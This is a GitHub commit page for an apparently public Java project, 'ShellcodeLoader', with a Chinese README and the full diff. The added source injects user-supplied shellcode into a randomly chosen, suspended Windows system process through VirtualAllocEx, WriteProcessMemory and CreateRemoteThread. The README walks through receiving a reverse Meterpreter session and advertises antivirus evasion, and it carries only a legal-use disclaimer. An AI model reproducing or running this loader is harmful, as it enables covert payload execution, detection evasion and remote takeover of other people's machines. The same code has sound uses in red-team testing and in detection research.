Skip to content

Commit 1713ca5

Browse files
yzddmr6yzddmr6
committed
update
1 parent 33512a2 commit 1713ca5

File tree

7 files changed

+174
-115
lines changed

7 files changed

+174
-115
lines changed

‎README.assets/image-20211205205857990.png

100 KB
Loading

‎README.md

+23-5
Original file line numberDiff line numberDiff line change
@@ -2,22 +2,32 @@
22

33
基于Java实现的ShellCode加载器，兼容32位及64位平台。
44

5-
核心代码来源于：[JEShell: An OceanLotus (APT32) Backdoor](https://norfolkinfosec.com/jeshell-an-oceanlotus-apt32-backdoor/)
5+
核心原理是利用Jna来调用Windows API，实现shellcode的注入。
66

77
运行环境：Jre >= 1.5
88

9+
注：本项目已经内置在[yzddmr6/As-Exploits](https://github.com/yzddmr6/As-Exploits)的ShellCodeLoader模块中。
10+
911
## 编译
1012

11-
```
12-
mvn package -DskipTests
13-
```
13+
当前版本使用的jna经过魔改，不支持maven编译。
14+
15+
需要使用idea的构建工件功能进行打包，具体方法请咨询百度。
1416

1517
## 使用
1618

19+
默认会随机注入32位进程，请使用32位的shellcode
20+
1721
```
1822
java -jar ShellcodeLoader.jar shellcode_hex
1923
```
2024

25+
注入x64位shellcode
26+
27+
```
28+
java -jar ShellcodeLoader.jar --x64 shellcode_hex
29+
```
30+
2131
## 举例
2232

2333
### kali
@@ -52,4 +62,12 @@ exploit -j
5262
java -jar ShellcodeLoader.jar fce88f0000006089e531d2648b5xxxx
5363
```
5464

55-
即可收到反弹的Meterpreter
65+
即可收到反弹的Meterpreter
66+
67+
## 免杀
68+
69+
![image-20211205205857990](README.assets/image-20211205205857990.png)
70+
71+
## 注意事项
72+
73+
本项目仅供合法的渗透测试以及爱好者参考学习，请勿用于非法用途，否则自行承担相关责任。

‎lib/tinyjna.jar

943 KB
Binary file not shown.

‎pom.xml

+15-9
Original file line numberDiff line numberDiff line change
@@ -4,12 +4,12 @@
44
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
55
<modelVersion>4.0.0</modelVersion>
66

7-
<groupId>com.yzddmr6</groupId>
7+
<groupId>asexploits</groupId>
88
<artifactId>ShellcodeLoader</artifactId>
99
<version>1.0-SNAPSHOT</version>
1010

11-
<name>com.yzddmr6.ShellcodeLoader</name>
12-
<url>http://www.example.com</url>
11+
<name>asexploits.ShellcodeLoader</name>
12+
<url>https://github.com/yzddmr6/As-Exploits</url>
1313

1414
<properties>
1515
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
@@ -18,11 +18,17 @@
1818
</properties>
1919

2020
<dependencies>
21-
<dependency>
22-
<groupId>net.java.dev.jna</groupId>
23-
<artifactId>jna-platform</artifactId>
24-
<version>5.5.0</version>
25-
</dependency>
21+
<!-- <dependency>-->
22+
<!-- <groupId>net.java.dev.jna</groupId>-->
23+
<!-- <artifactId>jna-platform</artifactId>-->
24+
<!-- <version>5.5.0</version>-->
25+
<!-- </dependency>-->
26+
<!-- <dependency>-->
27+
<!-- <groupId>net.java.dev.jna</groupId>-->
28+
<!-- <artifactId>jna-platform</artifactId>-->
29+
<!-- <version>4.1.0</version>-->
30+
<!-- </dependency>-->
31+
2632
</dependencies>
2733

2834
<build>
@@ -51,7 +57,7 @@
5157
<configuration>
5258
<archive>
5359
<manifest>
54-
<mainClass>com.yzddmr6.ShellcodeLoader</mainClass>
60+
<mainClass>asexploits.ShellcodeLoader</mainClass>
5561
</manifest>
5662
</archive>
5763
<descriptorRefs>

‎src/META-INF/MANIFEST.MF

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
Manifest-Version: 1.0
2+
Main-Class: asexploits.ShellcodeLoader
3+

‎src/main/java/asexploits/ShellcodeLoader.java

+133
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
package asexploits;
2+
3+
import com.sun.jna.Memory;
4+
import com.sun.jna.Native;
5+
import com.sun.jna.Pointer;
6+
import com.sun.jna.platform.win32.Kernel32;
7+
import com.sun.jna.platform.win32.WinBase;
8+
import com.sun.jna.platform.win32.WinDef;
9+
import com.sun.jna.platform.win32.WinNT;
10+
import com.sun.jna.platform.win32.WinNT.HANDLE;
11+
import com.sun.jna.ptr.IntByReference;
12+
import com.sun.jna.win32.StdCallLibrary;
13+
import com.sun.jna.win32.W32APIOptions;
14+
15+
import java.util.Random;
16+
17+
public class ShellcodeLoader {
18+
static Kernel32 kernel32;
19+
static IKernel32 iKernel32;
20+
public static String[] ProcessArrayx32 = {"C:\\Windows\\SysWOW64\\ARP.exe", "C:\\Windows\\SysWOW64\\at.exe", "C:\\Windows\\SysWOW64\\auditpol.exe", "C:\\Windows\\SysWOW64\\bitsadmin.exe", "C:\\Windows\\SysWOW64\\bootcfg.exe", "C:\\Windows\\SysWOW64\\ByteCodeGenerator.exe", "C:\\Windows\\SysWOW64\\cacls.exe", "C:\\Windows\\SysWOW64\\chcp.com", "C:\\Windows\\SysWOW64\\CheckNetIsolation.exe", "C:\\Windows\\SysWOW64\\chkdsk.exe", "C:\\Windows\\SysWOW64\\choice.exe", "C:\\Windows\\SysWOW64\\cmdkey.exe", "C:\\Windows\\SysWOW64\\comp.exe", "C:\\Windows\\SysWOW64\\diskcomp.com", "C:\\Windows\\SysWOW64\\Dism.exe", "C:\\Windows\\SysWOW64\\esentutl.exe", "C:\\Windows\\SysWOW64\\expand.exe", "C:\\Windows\\SysWOW64\\fc.exe", "C:\\Windows\\SysWOW64\\find.exe", "C:\\Windows\\SysWOW64\\gpresult.exe"};
21+
public static String[] ProcessArrayx64 = {"C:\\Windows\\System32\\rundll32.exe", "C:\\Windows\\System32\\find.exe", "C:\\Windows\\System32\\notepad.exe", "C:\\Windows\\System32\\ARP.EXE"};
22+
23+
static {
24+
kernel32 = (Kernel32) Native.loadLibrary(Kernel32.class, W32APIOptions.UNICODE_OPTIONS);
25+
iKernel32 = (IKernel32) Native.loadLibrary("kernel32", IKernel32.class);
26+
}
27+
28+
29+
public static void main(String[] args) {
30+
ShellcodeLoader jnaLoader = new ShellcodeLoader();
31+
String shellcode = null;
32+
boolean is64 = false;
33+
switch (args.length) {
34+
case 1:
35+
is64 = false;
36+
shellcode = args[0];
37+
break;
38+
case 2:
39+
if ("--x64".equals(args[0])) {
40+
is64 = true;
41+
}
42+
shellcode = args[1];
43+
break;
44+
default:
45+
System.out.println("Usage: java -jar ShellcodeLoader.jar shellcode_hex \n" +
46+
"注入x64位shellcode: Usage: java -jar ShellcodeLoader.jar --x64 shellcode_hex");
47+
System.exit(1);
48+
break;
49+
}
50+
51+
52+
System.out.println("\nShellcode: \n" + shellcode);
53+
jnaLoader.loadShellCode(shellcode, is64);
54+
}
55+
56+
public void loadShellCode(String shellcodeHex, boolean is64) {
57+
58+
String[] targetProcessArray = null;
59+
// java是64位且选择注入64位shellcode
60+
if (System.getProperty("sun.arch.data.model").equals("64") && is64) {
61+
targetProcessArray = ProcessArrayx64;
62+
} else { //默认注入32位进程
63+
targetProcessArray = ProcessArrayx32;
64+
}
65+
int j = targetProcessArray.length;
66+
byte b = 0;
67+
Random random = new Random();
68+
int k = b + random.nextInt(j);
69+
String targetProcess = targetProcessArray[k];
70+
this.loadShellCode(shellcodeHex, targetProcess);
71+
72+
}
73+
74+
public void loadShellCode(String shellcodeHex, String targetProcess) {
75+
System.out.println("targetProcess: " + targetProcess);
76+
byte[] shellcode = hexStrToByteArray(shellcodeHex);
77+
int shellcodeSize = shellcode.length;
78+
IntByReference intByReference = new IntByReference(0);
79+
Memory memory = new Memory((long) shellcodeSize);
80+
81+
for (int j = 0; j < shellcodeSize; ++j) {
82+
memory.setByte((long) j, shellcode[j]);
83+
}
84+
85+
WinBase.PROCESS_INFORMATION pROCESS_INFORMATION = new WinBase.PROCESS_INFORMATION();
86+
WinBase.STARTUPINFO sTARTUPINFO = new WinBase.STARTUPINFO();
87+
sTARTUPINFO.cb = new WinDef.DWORD((long) pROCESS_INFORMATION.size());
88+
if (kernel32.CreateProcess(targetProcess, (String) null, (WinBase.SECURITY_ATTRIBUTES) null, (WinBase.SECURITY_ATTRIBUTES) null, false, new WinDef.DWORD(4L), (Pointer) null, (String) null, sTARTUPINFO, pROCESS_INFORMATION)) {
89+
Pointer pointer = iKernel32.VirtualAllocEx(pROCESS_INFORMATION.hProcess, Pointer.createConstant(0), shellcodeSize, 4096, 64);
90+
iKernel32.WriteProcessMemory(pROCESS_INFORMATION.hProcess, pointer, memory, shellcodeSize, intByReference);
91+
HANDLE hANDLE = iKernel32.CreateRemoteThread(pROCESS_INFORMATION.hProcess, (Object) null, 0, pointer, 0, 0, (Object) null);
92+
kernel32.WaitForSingleObject(hANDLE, -1);
93+
}
94+
}
95+
96+
97+
public static byte[] hexStrToByteArray(String str) {
98+
if (str == null) {
99+
return null;
100+
} else if (str.length() == 0) {
101+
return new byte[0];
102+
} else {
103+
byte[] byteArray = new byte[str.length() / 2];
104+
105+
for (int i = 0; i < byteArray.length; ++i) {
106+
String subStr = str.substring(2 * i, 2 * i + 2);
107+
byteArray[i] = (byte) Integer.parseInt(subStr, 16);
108+
}
109+
110+
return byteArray;
111+
}
112+
}
113+
114+
interface IKernel32 extends StdCallLibrary {
115+
Pointer VirtualAlloc(Pointer var1, int var2, int var3, int var4);
116+
117+
HANDLE CreateThread(Object var1, int var2, Pointer var3, int var4, int var5, Object var6);
118+
119+
Pointer VirtualAllocEx(HANDLE var1, Pointer var2, int var3, int var4, int var5);
120+
121+
HANDLE CreateRemoteThread(HANDLE var1, Object var2, int var3, Pointer var4, int var5, int var6, Object var7);
122+
123+
boolean WriteProcessMemory(WinNT.HANDLE param1HANDLE, Pointer param1Pointer1, Pointer param1Pointer2, int param1Int, IntByReference param1IntByReference);
124+
125+
boolean ReadProcessMemory(Pointer var1, int var2, Pointer var3, int var4, IntByReference var5);
126+
127+
int VirtualQueryEx(Pointer var1, Pointer var2, Pointer var3, int var4);
128+
129+
Pointer OpenProcess(int var1, boolean var2, int var3);
130+
131+
Pointer GetCurrentProcess();
132+
}
133+
}

‎src/main/java/com/yzddmr6/ShellcodeLoader.java

-101
This file was deleted.

0 commit comments

Comments
 (0)